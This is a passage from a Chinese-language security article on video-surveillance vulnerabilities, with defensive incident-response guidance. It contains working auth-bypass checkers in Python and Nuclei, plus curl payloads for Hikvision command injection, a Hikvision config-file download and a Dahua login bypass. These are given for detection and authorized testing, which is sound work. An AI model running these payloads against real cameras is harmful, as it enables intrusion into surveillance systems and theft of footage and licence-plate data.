def check_cve_2025_43027(target: str, port: int = 8080) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    endpoints = [
        "/api/v1/alpr/plates",
        "/api/v1/system/status",
    ]

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            req.add_header("X-Override-Auth", "bypass")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            if resp.status == 200:
                print(f"[+] 认证绕过成功: {endpoint}")
                return True
        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证(已修复)")
        except Exception:
            continue

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 8080
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2025_43027(target, port)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2025-43027

info:
  name: Genetec ALPR Manager Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Genetec ALPR Manager 存在认证绕过漏洞,
    攻击者无需认证即可访问车牌识别数据和管理功能。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-43027
    cwe-id: CWE-287
  tags: cve,cve2025,genetec,alpr,auth-bypass,vms

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/alpr/plates"
    headers:
      X-Override-Auth: bypass
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "plate"
          - "alpr"
        condition: and
        part: body

2. 宇视 IP 摄像机认证失败(CVE-2023-0773)

漏洞背景

2023 年,宇视科技(Uniview)的 IP 摄像机被发现存在认证失败漏洞。攻击者可以在不提供有效凭据的情况下直接访问设备管理接口和实时视频流。

受影响版本

产品线受影响版本修复版本
Uniview IPC多个固件版本厂商安全公告指定版本
Uniview NVR多个固件版本厂商安全公告指定版本

漏洞原理

宇视 IP 摄像机的 Web 管理接口在验证用户身份时存在逻辑缺陷。设备在处理特定格式的认证请求时,未正确验证凭据有效性,直接返回认证成功响应。

HTTP PoC

GET /api/v1/system/info HTTP/1.1
Host: target_ip:80
Authorization: Basic Og==

Python PoC

#!/usr/bin/env python3
"""
宇视 IP Camera 认证失败检测 (CVE-2023-0773)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl
import base64


def check_cve_2023_0773(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    endpoints = [
        "/api/v1/system/info",
        "/api/v1/users",
    ]

    fake_auth = base64.b64encode(b":").decode()

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            req.add_header("Authorization", f"Basic {fake_auth}")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            if resp.status == 200:
                print(f"[+] 认证绕过成功: {endpoint}")
                return True
        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证(已修复)")
        except Exception:
            continue

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2023_0773(target, port)


if __name__ == "__main__":
    main()

Nuclei YAML 模板

id: CVE-2023-0773

info:
  name: Uniview IP Camera Authentication Failure
  author: security-research
  severity: critical
  description: |
    宇视 IP 摄像机存在认证失败漏洞,
    攻击者无需有效凭据即可访问设备管理接口。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2023-0773
    cwe-id: CWE-287
  tags: cve,cve2023,uniview,camera,auth-bypass,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/system/info"
    headers:
      Authorization: "Basic Og=="
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "system"
          - "info"
        condition: and
        part: body

0x06 公开 PoC 收集情况与利用思路

1. PoC 收集情况

截至文章撰写时,视频监控与物理安全相关漏洞的公开 PoC 情况如下:

CVE公开 PoC 状态利用复杂度说明
CVE-2021-36260 (Hikvision)多个公开 PoC,Metasploit 模块
CVE-2017-7921 (Hikvision)配置文件下载工具广泛可用
CVE-2021-33044 (Dahua)JSON-RPC 认证绕过 PoC
CVE-2021-33045 (Dahua)配置备份下载 PoC
CVE-2025-31700 (Dahua)ONVIF 缓冲区溢出 PoC
CVE-2025-30023 (Axis)ysoserial.net 生成 payload
CVE-2018-7891 (Milestone).NET 反序列化 PoC
CVE-2021-27392 (Milestone)硬编码密钥已公开
CVE-2025-43027 (Genetec)有限认证绕过细节
CVE-2023-0773 (宇视)有限认证失败 PoC

2. 验证思路(防守型)

以下验证思路仅供授权安全评估使用:

步骤 1:暴露面扫描

nmap -sV -p 80,443,8080,8081,8082,4111 <target_ip>

步骤 2:Hikvision 命令注入检测

curl -X PUT http://<camera_ip>:8080/SDK/putRemoteStorageCFG \
  -d '<RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>'

步骤 3:Hikvision 认证绕过检测

curl http://<camera_ip>/System/configurationFile?auth=YWRtaW46MTEK -o config_backup.bin

步骤 4:Dahua 认证绕过检测

curl -X POST http://<camera_ip>/RPC2 \
  -H "Content-Type: application/json" \
  -d '{"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}'

3. 利用案例

公开报道中已确认的利用案例:

  • Hikvision CVE-2021-36260(2021-2024):CISA KEV 收录,全球范围内大规模在野利用,被用于建立僵尸网络和持久化后门
  • Hikvision CVE-2017-7921(2017-2024):CISA KEV 收录,被用于大规模摄像头窥探和凭据窃取
  • Dahua CVE-2021-33044/33045(2021-2024):CISA KEV 收录,被用于批量控制摄像头和窃取视频流

0x07 共性攻击模式分析

1. 未授权 RCE 或认证绕过是标准配置

本专题覆盖的 10 个漏洞中,9 个无需认证即可触发:

漏洞认证要求利用复杂度
CVE-2021-36260 (Hikvision)无(命令注入)
CVE-2017-7921 (Hikvision)无(硬编码凭据)
CVE-2021-33044 (Dahua)无(认证绕过)
CVE-2021-33045 (Dahua)无(配置泄露)
CVE-2025-31700 (Dahua)无(缓冲区溢出)
CVE-2025-30023 (Axis)无(反序列化)
CVE-2018-7891 (Milestone)无(反序列化)
CVE-2021-27392 (Milestone)需数据库访问
CVE-2025-43027 (Genetec)无(认证绕过)
CVE-2023-0773 (宇视)无(认证失败)

2. 反序列化与命令注入是主要攻击手法

视频监控设备的漏洞类型呈现明显集中趋势:

  • 命令注入(CWE-78):Hikvision 设备固件在解析配置时直接拼接用户输入到 shell 命令
  • 认证绕过(CWE-287):Dahua、Genetec、宇视设备的 API 认证逻辑存在缺陷
  • 反序列化(CWE-502):Axis、Milestone 使用 .NET BinaryFormatter 进行不安全反序列化
  • 缓冲区溢出(CWE-120):Dahua ONVIF 协议实现未正确校验输入长度
  • 硬编码密钥(CWE-798):Milestone 在源代码中硬编码加密密钥

3. 固件更新严重滞后

视频监控设备的固件更新率极低:

  • 设备通常部署在难以触及的位置(天花板、外墙、杆柱)
  • 固件更新需要停机,影响监控连续性
  • 缺乏自动更新机制
  • IT/OT 部门对物理安全设备的安全意识不足

4. 网络暴露面过大

视频监控设备通常直接暴露在网络上:

  • 缺乏网络分段,摄像头与办公网络直连
  • 管理接口(HTTP/HTTPS)直接可访问
  • ONVIF、RTSP 等协议未受防火墙保护
  • Shodan/Censys 可直接扫描到设备

5. 安全监控盲区

视频监控设备很少被纳入安全监控:

  • 未部署 IDS/IPS 规则
  • 未集成到 SIEM
  • 未监控设备日志
  • 未审计设备配置变更

0x08 应急排查与防守建议

1. 应急排查流程

阶段一:快速识别(0-2 小时)

# 1. 确认视频监控设备资产清单
nmap -sV -p 80,443,8080,8081,8082,4111,554 <subnet> -oG camera_scan.txt

# 2. 检查 Hikvision 认证绕过
curl -s http://<camera_ip>/System/configurationFile?auth=YWRtaW46MTEK -o /dev/null -w "%{http_code}"

# 3. 检查 Dahua 认证绕过
curl -s -X POST http://<camera_ip>/RPC2 -H "Content-Type: application/json" \
  -d '{"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}'

# 4. 检查 Hikvision 命令注入
curl -s -X PUT http://<camera_ip>:8080/SDK/putRemoteStorageCFG \
  -d '<RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>'

阶段二:深度排查(2-24 小时)

# 5. 检查摄像头网络流量
tcpdump -i any host <camera_ip> -w camera_traffic.pcap

# 6. 检查异常外联连接
tcpdump -i any host <camera_ip> and not net <local_subnet> -w exfil_check.pcap

# 7. 检查 ONVIF 服务
curl -s -X POST http://<camera_ip>/onvif/device_service \
  -H "Content-Type: application/soap+xml" \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>'

# 8. 检查 Axis.Remoting 端口
nmap -sV -p 4111 <target_ip>

阶段三:取证分析(24-72 小时)

# 9. 导出摄像头系统日志
curl -s http://<camera_ip>/ISAPI/System/logs -o camera_logs.xml

# 10. 检查管理员账户变更
curl -s http://<camera_ip>/ISAPI/Security/users -o users.xml

# 11. 检查视频流访问记录
curl -s http://<camera_ip>/ISAPI/ContentMgmt/StreamingProxy/channels -o streaming.xml

# 12. 检查网络配置变更
curl -s http://<camera_ip>/ISAPI/System/Network/interfaces -o network.xml

2. 各厂商排查要点

Hikvision 排查

排查项方法优先级
命令注入痕迹检查 /SDK/ 端点访问日志中的 $(...) 模式P0
认证绕过痕迹检查 ?auth=YWRtaW46MTEK 请求P0
配置文件泄露检查是否有异常的配置文件下载P0
固件版本对比 CVE-2021-36260 / CVE-2017-7921 影响版本P0
异常外联检查摄像头是否向外发起网络连接P1

Dahua 排查

排查项方法优先级
认证绕过痕迹检查 /RPC2 端点的异常 clientType 参数P0
配置备份泄露检查 /Config.backup 访问日志P0
ONVIF 异常请求检查 ONVIF SOAP 请求中的超长字段P0
固件版本对比 CVE-2021-33044/33045 / CVE-2025-31700 影响版本P0
视频流异常访问审计 RTSP 连接记录P1

Axis / Milestone / Genetec 排查

排查项方法优先级
Axis.Remoting 端口检查 4111 端口是否暴露P0
.NET 反序列化痕迹检查管理 API 的异常二进制请求P0
硬编码密钥利用检查 XProtect 数据库异常访问P0
Genetec ALPR 访问检查 ALPR API 的异常认证绕过P0
固件/补丁版本对比各厂商安全公告P1

3. IOC 指标收集

网络层 IOC

IOC 类型描述检测方法
异常外联 IP摄像头向外发起的非预期连接防火墙日志 / 流量分析
异常端口摄像头上开放的非标准端口Nmap 扫描对比基线
ONVIF 异常请求包含超长字段的 SOAP 请求IDS/IPS 日志
认证绕过特征auth=YWRtaW46MTEKclientType:Web3.0Web 访问日志
异常 RTSP 流来自未知来源的视频流请求RTSP 服务器日志

主机层 IOC

IOC 类型描述检测方法
固件异常固件版本与已知安全版本不匹配管理界面检查
配置异常认证配置被修改或禁用配置审计
账户异常新增管理员账户或密码被修改管理界面账户审计
进程异常摄像头运行异常进程设备系统日志
外联异常设备向 C2 服务器发起连接网络流量分析

4. 修复与缓解建议

紧急措施

  1. 更新固件:立即应用所有厂商发布的固件更新和安全补丁
  2. 网络分段:将视频监控设备放在独立的网络段或 VLAN
  3. 修改默认凭据:所有设备的管理员密码必须修改为强密码
  4. 禁用未使用服务:禁用 ONVIF、RTSP 等未使用的协议和端口
  5. 关闭远程访问:禁止从互联网直接访问摄像头管理界面

长期策略

  1. 最小权限原则:限制摄像头的网络访问权限,只允许必要的协议和端口
  2. 定期审计:定期审查摄像头配置和访问日志
  3. 集成监控:将摄像头日志集成到 SIEM 系统
  4. 部署 IDS/IPS:针对已知漏洞特征部署检测规则
  5. 事件响应:制定针对视频监控设备安全事件的响应计划

5. 通用排查清单

排查项说明优先级
固件版本对比已知漏洞影响版本,确认是否需要更新P0
默认凭据状态验证所有摄像头管理员密码是否为默认/弱密码P0
管理访问日志审计漏洞公开前 90 天的管理界面登录记录P0
认证绕过痕迹检查已知认证绕过端点的异常访问P0
网络外联记录检查摄像头是否有异常外联连接P1
视频流访问审计检查 RTSP/ONVIF 连接的异常来源P1
协议暴露面检查 ONVIF/RTSP/Axis.Remoting 等协议启用状态P1
管理员账户审计检查是否有异常新增的管理员账户P2
网络分段状态验证摄像头是否在独立 VLAN/网段P2
SIEM 集成状态确认摄像头日志是否已接入安全监控P2
凭据轮换轮换所有与摄像头相关的凭据和密钥P2

0x09 参考资料